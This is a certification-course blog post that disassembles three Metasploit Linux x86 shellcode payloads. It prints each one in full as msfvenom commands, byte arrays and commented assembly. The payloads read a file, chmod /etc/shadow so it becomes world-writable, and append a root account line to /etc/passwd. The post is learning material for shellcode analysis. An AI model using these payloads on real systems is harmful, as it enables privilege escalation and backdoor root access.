SLAE-1053

SecurityTube 32-bit Linux Assmbly Expert Course Assignments


Project maintained by johneiser Hosted on GitHub Pages — Theme by mattgraham

<< Go Back

Assignment 5

Dissect Sample Shellcode


2017-10-09 00:00:00 +0000

For this assignment, we will be dissecting sample shellcode for x86 linux generated by the metasploit framework.

The first shellcode sample we will dissect is the read_file payload:

> msfvenom -a x86 --platform linux -p linux/x86/read_file PATH=/tmp/file.txt -f c
No encoder or badchars specified, outputting raw payload
Payload size: 75 bytes
Final size of c file: 339 bytes
unsigned char buf[] = 
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x74\x6d\x70\x2f\x66\x69\x6c\x65\x2e\x74\x78\x74\x00";

Once the shellcode is disassembled (and commented, for discussion), the assembly looks like this:

; read_file.nasm
;  - Analyzed shellcode from metasploit
;
; > msfvenom -a x86 --platform linux -p linux/x86/read_file PATH=/tmp/file.txt -f c

global _start

section .text
_start:

        jmp short section_2     ; jmp call pop

section_1:

        ; int open(const char *pathname, int flags)
        ; eax = 0x5 (open)
        ; ebx => /tmp/file.txt
        ; ecx = 0x0

        mov eax,0x5
        pop ebx
        xor ecx,ecx
        int 0x80


        ; size_t read(int fd, void *buf, size_t count)
        ; eax = 0x3 (read)
        ; ebx = handle from open
        ; ecx = esp
        ; edx = 0x1000

        mov ebx,eax
        mov eax,0x3
        mov edi,esp
        mov ecx,edi
        mov edx,0x1000
        int 0x80


        ; ssize_t write(int fd, const void *buf, size_t count)
        ; eax = 0x4 (write)
        ; ebx = 0x1 (stdout)
        ; ecx = esp
        ; edx = 0x1000
        ; esp => |--data-from-file--|

        mov edx,eax
        mov eax,0x4
        mov ebx,0x1
        int 0x80


        ; void exit(int status)
        ; eax = 0x1 (exit)
        ; ebx = 0x0

        mov eax,0x1
        mov ebx,0x0
        int 0x80

section_2:
        call section_1

section_3:
        das                             ; /
        jz 0xad                         ; tm
        jo 0x71                         ; p/
        imul bp,[ebp+0x2e],word 0x7874  ; file.tx
        jz 0x4b				; t\0

A few things about this shellcode pop out at us. First, it’s using the jmp-call-pop method of storing a nearby address, which happens to point to section 3, or “/tmp/file.txt”. Then, the shellcode makes 4 syscalls:

The open syscall gets a handle pointed to the string “/tmp/file.txt”. The read syscall then gets the data stored in that file and puts it on the stack, where the write syscall takes it and writes it to stdout. Finally, the shellcode exits. One might notice that there are quite a few nulls in this shellcode - I believe this is because metasploit has a wide variety of easily implemented encoders and assumes you should just use one of those to remove any bad characters.

Next, we will dissect the chmod payload:

> msfvenom -a x86 --platform linux -p linux/x86/chmod FILE=/etc/shadow -f c
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] = 
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";

Once the shellcode is disassembled (and commented, for discussion), the assembly looks like this:

; chmod.nasm
;  - Analyzed shellcode from metasploit
;
; > msfvenom -a x86 --platform linux -p linux/x86/chmod FILE=/etc/shadow -f c

global _start

section .text
_start:

        cdq
        push byte +0xf
        pop eax
        push edx
        call section_2          ; call pop

section_1:

        das                     ; /
        gs jz 0x71              ; etc
        das                     ; /
        jnc 0x79                ; sh
        popa                    ; a
        fs outsd                ; do
        ja 0x16                 ; w\0

section_2:

        ; int chmod(const char *pathname, mode_t mode)
        ; eax = 0xf (chmod)
        ; ebx => /etc/shadow
        ; ecx = 0xb6010000

        pop ebx
        push dword 0x1b6
        pop ecx
        int 0x80


        ; void exit(int status)
        ; eax = 0x1 (exit)
        ; ebx = 0x0

        push byte +0x1
        pop eax
        int 0x80

Interestingly, rather than using the jmp-call-pop method, this shellcode just uses a call-pop, which still serves the same function of storing a memory address to a string. Once the string “/etc/shadow” is stored, the shellcode makes two syscalls:

Simple enough.

Finally, we will dissect the adduser payload, produced below:

> msfvenom -a x86 --platform linux -p linux/x86/adduser -f c
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

Once the shellcode is disassembled (and commented, for discussion), the assembly looks like this:

; adduser.nasm
;  - Analyzed shellcode from metasploit
;
; > msfvenom -a x86 --platform linux -p linux/x86/adduser -f c

global _start

section .text
_start:

        ; int setreuid(uid_t ruid, uid_t euid)
        ; eax = 0x46 (setreuid)
        ; ebx = 0x0
        ; ecx = 0x0

        xor ecx,ecx
        mov ebx,ecx
        push byte +0x46
        pop eax
        int 0x80


        ; int open(const char *pathname, int flags)
        ; eax = 0x5 (open)
        ; ebx = esp
        ; ecx = 0x1
        ; esp => |0x2f657463|0x2f2f7071|0x73737764|
        ;            /etc       //pa       sswd

        push byte +0x5
        pop eax
        xor ecx,ecx
        push ecx
        push dword 0x64777373   ; dwss
        push dword 0x61702f2f   ; ap//
        push dword 0x6374652f   ; cte/
        mov ebx,esp
        inc ecx
        mov ch,0x4
        int 0x80

        xchg eax,ebx            ; save handle for write
        call section_2          ; call pop

section_1:

        insd                    ; m     
        gs jz 0x90              ; eta
        jnc 0xa1                ; sp
        insb                    ; l
        outsd                   ; o
        imul esi,[edx+edi+0x41],dword 0x49642f7a        ;it:Az/dI
        jnc 0xa7                ; sj
        xor al,0x70             ; 4p
        xor al,0x49             ; 4I
        push edx                ; R
        arpl [edx],di           ; c:
        xor [edx],bh            ; 0:
        xor [edx],bh            ; 0:
        cmp ch,[edi]            ; :/
        cmp ch,[edi]            ; :/
        bound ebp,[ecx+0x6e]    ; bin
        das                     ; /
        jnc 0xba                ; sh
        db 0x0a                 ; \n

section_2:

        ; ssize_t write(int fd, const void *buf, size_t count)
        ; eax = 0x4 (write)
        ; ebx = file handle from open
        ; ecx => metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n
        ; edx = 0x28 (40)

        pop ecx                 ; save pointer to section_1
        mov edx,[ecx-0x4]       ; interesting way set edx to 40
        push byte +0x4
        pop eax
        int 0x80


        ; void exit(int status)
        ; eax = 0x1 (exit)
        ; ebx = 0x0

        push byte +0x1
        pop eax
        int 0x80

The shellcode starts by calling the setreuid syscall, which is necessary for maintaining the permissions required to edit the “/etc/passwd” file. This shellcode actually combines two common ways to reference a string in shellcode: the call-pop method (that we’ve seen already) and the stack-push method. When calling the open syscall, the string “/etc//passwd” is pushed to the stack and referenced in the syscall. Then we see a call-pop routine to save the string “metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n” for use in the write syscall. After writing, the shellcode the exits cleanly.

A little insight into the effort put in to shrinking shellcode - in the write syscall they chose to use mov edx,[ecx-0x4] (\x8b\x51\xfc) to put 40 into edx instead of xor edx,edx;mov dl,0x4 (\x31\xd2\xb2\x04). That’s quite a change for one byte - worth it.

You can find the all the code to this challenge at https://github.com/johneiser/SLAE/tree/master/assignments/Assignment_5.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

<< Go Back